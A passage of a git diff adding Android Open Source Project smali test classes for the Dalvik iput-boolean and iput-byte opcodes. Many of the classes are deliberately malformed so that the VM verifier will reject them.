+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_22;
+.super  Ljava/lang/Object;
+
+.field public  st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1    
+       iput-boolean v0, v3, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_22;->st_i:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_23.smali
new file mode 100644
index 0000000..65e1f95
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_23.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_23.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_23;
+.super  Ljava/lang/Object;
+
+.field public  st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1    
+       iput-boolean v0, v3, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_23;->st_c:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_24.smali
new file mode 100644
index 0000000..3a019c9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_24.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_24.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_24;
+.super  Ljava/lang/Object;
+
+.field public  st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const v0, 1    
+       iput-boolean v0, v3, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_24;->st_b:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_3.smali
new file mode 100644
index 0000000..1151e7f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_3.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_3.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_3;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       iput-boolean v0, v3, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_3;->st_i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_30.smali
new file mode 100644
index 0000000..4ba664b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_30.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_30.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_30;
+    const v1, 0
+    iput-boolean v1, v0, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_30;->st_i1:Z
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_31.smali
new file mode 100644
index 0000000..f410fff
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_31.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_31.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    const v1, 0
+    iput-boolean v1, v0, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_31;->st_i1:Z
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_4.smali
new file mode 100644
index 0000000..f7eb7cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_4.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_4;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-boolean v3, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_4;->st_i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_7.smali
new file mode 100644
index 0000000..f7984f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_7.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_7.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_7;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_7;->st_i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_8.smali
new file mode 100644
index 0000000..c3629c4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_8.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_8.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_boolean/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_boolean/TestStubs;-><init>()V
+       const v1, 0
+       iput-boolean v1, v0, Ldot/junit/opcodes/iput_boolean/TestStubs;->TestStubField:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_9.smali
new file mode 100644
index 0000000..d623a44
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_boolean/d/T_iput_boolean_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_boolean_9.java"
+.class  public Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-boolean v1, v2, Ldot/junit/opcodes/iput_boolean/d/T_iput_boolean_9noclass;->st_i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_1.smali
new file mode 100644
index 0000000..6f18e8f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_1.smali

@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_1.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+.field protected  st_p1:B
+.field private  st_pvt1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public  getPvtField()B
+.registers 2
+
+       iget-byte v0, v1, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;->st_pvt1:B
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;->st_i1:B
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_10.smali
new file mode 100644
index 0000000..daca81c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_10.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_10.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_10;->st_i1N:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_11.smali
new file mode 100644
index 0000000..e5f26c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_11.smali

@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_11.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_byte/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_byte/TestStubs;-><init>()V
+
+       const v1, 1
+       iput-byte v1, v0, Ldot/junit/opcodes/iput_byte/TestStubs;->TestStubFieldFinal:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_12.smali
new file mode 100644
index 0000000..9e58945
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_12.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_12.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_12;
+.super  Ljava/lang/Object;
+
+.field public  final st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_12;->st_i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_13.smali
new file mode 100644
index 0000000..3c7b6ff
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_13.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_13.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_13;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 0
+       const v1, 77
+       iput-byte v1, v0, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_13;->st_i1:B
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_14.smali
new file mode 100644
index 0000000..c3c3144
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_14.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_14.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_14;
+.super  Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public  getProtectedField()B
+.registers 2
+
+       iget-byte v0, v1, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;->st_p1:B
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;->st_p1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_15.smali
new file mode 100644
index 0000000..a0ca572
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_15.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_15.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_15;
+.super  Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_1;->st_pvt1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_17.smali
new file mode 100644
index 0000000..c3befbe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_17.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_17.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_17;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_17;->st_i1:B
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_18.smali
new file mode 100644
index 0000000..4ad05cc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_18.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_18.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_18;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_18;->st_i1:D
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_2.smali
new file mode 100644
index 0000000..bcd20d2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_2.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_2.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_2;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-byte v0, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_4;->st_i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_21.smali
new file mode 100644
index 0000000..92cabd7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_21.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_21.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_21;
+.super  Ljava/lang/Object;
+
+.field public  st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 12    
+       iput-byte v0, v3, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_21;->st_s:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_22.smali
new file mode 100644
index 0000000..e135847
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_22.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_22.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_22;
+.super  Ljava/lang/Object;
+
+.field public  st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-byte v0, v3, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_22;->st_i:I
+       return-void
+.end method
+
+

